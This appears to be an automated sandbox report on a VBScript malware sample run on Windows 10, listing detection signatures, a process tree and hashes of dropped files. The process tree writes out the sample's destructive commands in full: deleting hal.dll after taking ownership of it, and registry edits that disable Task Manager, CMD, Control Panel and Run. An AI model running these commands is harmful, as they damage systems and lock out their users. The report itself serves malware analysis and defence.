Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 14:34

General

  • Target
    code.vbs
  • Size 4KB
  • Sample240726-rxyptstdql
  • SHA256 c346224488e7aca5c7fe1445886ebbce04efd9dcf36ee9c7524b77b98b080815
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Renames multiple (176) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Disables Task Manager via registry modification
  • Possible privilege escalation attempt 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5000
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f/s/q C:\Windows\System32\hal.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2920
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\hal.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3696
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:372
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell /grant Everyone:(F) && taskkill /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\*.exe /im && del/f/s/q C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3736
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:3836
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent /v AccentColor /t REG_DWORD /d 0x2d1954 /f
      2⤵
      • Modifies registry key
      PID:636
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:3448
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      2⤵
      • Modifies registry key
      PID:436
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallpaper /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:3896
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:4176
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:3356
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:212
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f
      2⤵
      • Modifies registry key
      PID:1632
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" delete HKCR\lnkfile\IsShortcut
      2⤵
        PID:4312

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          sh.vbs

          • Path C:\Users\Admin\AppData\Roaming\sh.vbs
          • Size 79B
          • SHA256 c97fb00a65e02154715ebab5948521244d6572b50e817076b122402b328cbf41
          • MD5 SHA1 SHA512

          00013890.exe.LNK

          • Path C:\Users\Admin\Desktop\00013890.exe.LNK
          • Size 1KB
          • SHA256 97d280b536757e505558c09f313f3b94b907c2436138e8ee3e0871c08b08c953
          • MD5 SHA1 SHA512

          0005712.exe.LNK

          • Path C:\Users\Admin\Desktop\0005712.exe.LNK
          • Size 1KB
          • SHA256 03737392c8d99e3975f692feeba29e606f470681428c7fc1fc1d74c26a00a893
          • MD5 SHA1 SHA512

          0207923.exe.LNK

          • Path C:\Users\Admin\Desktop\0207923.exe.LNK
          • Size 1KB
          • SHA256 587b6bd784b0c702ae875866d62f4eff7f71b1055a5ff1ebe255890006c58c6e
          • MD5 SHA1 SHA512

          0209664.exe.LNK

          • Path C:\Users\Admin\Desktop\0209664.exe.LNK
          • Size 1KB
          • SHA256 d11f81d10ac6aa5d4150ef5164f7fa3a2d3fecc357e8ee6ae5339fcfacb4bd5a
          • MD5 SHA1 SHA512

          05015521.exe.LNK

          • Path C:\Users\Admin\Desktop\05015521.exe.LNK
          • Size 1KB
          • SHA256 7686955364d9738cda65c7ca5ac93d71f433465313f0d72af5f750908e69e5da
          • MD5 SHA1 SHA512

          06010775.exe.LNK

          • Path C:\Users\Admin\Desktop\06010775.exe.LNK
          • Size 1KB
          • SHA256 cbf91c101da01e1f6592fcd046d404df4f91d7a9c4fb4bb5278455ccaa52b748
          • MD5 SHA1 SHA512

          060184165.exe.LNK

          • Path C:\Users\Admin\Desktop\060184165.exe.LNK
          • Size 1KB
          • SHA256 b604a6e63e8d5593c9a6afcac787c6d16c935841d0ae93a6358a538b5089626a
          • MD5 SHA1 SHA512

          0608429.exe.LNK

          • Path C:\Users\Admin\Desktop\0608429.exe.LNK
          • Size 1KB
          • SHA256 213de57a093d400a6c3b47879f137f2b09fa2b34005054b9023bbfd402f74463
          • MD5 SHA1 SHA512

          08012497.exe.LNK

          • Path C:\Users\Admin\Desktop\08012497.exe.LNK
          • Size 1KB
          • SHA256 1bb78a5dee3709e4f791b72485a36954f473a6de6e7f70f75a7badf51d9b7d21
          • MD5 SHA1 SHA512

          0902514.exe.LNK

          • Path C:\Users\Admin\Desktop\0902514.exe.LNK
          • Size 1KB
          • SHA256 4477fa095a6e3dc2ec7a5dd19ae6047fa24048e961010086f02ee1b3d0dee3d7
          • MD5 SHA1 SHA512

          0907065.exe.LNK

          • Path C:\Users\Admin\Desktop\0907065.exe.LNK
          • Size 1KB
          • SHA256 1bf37c789c1756480e1928ed1ae37a2f7bf7ab79eae05f9c5302366647cf4eef
          • MD5 SHA1 SHA512

          desktop.ini.vbs

          • Path C:\Users\Admin\Desktop\desktop.ini.vbs
          • Size 59B
          • SHA256 e604cd4b561cdf6bed718eba96d722b0532536c678edfe706f2cb05e7de14556
          • MD5 SHA1 SHA512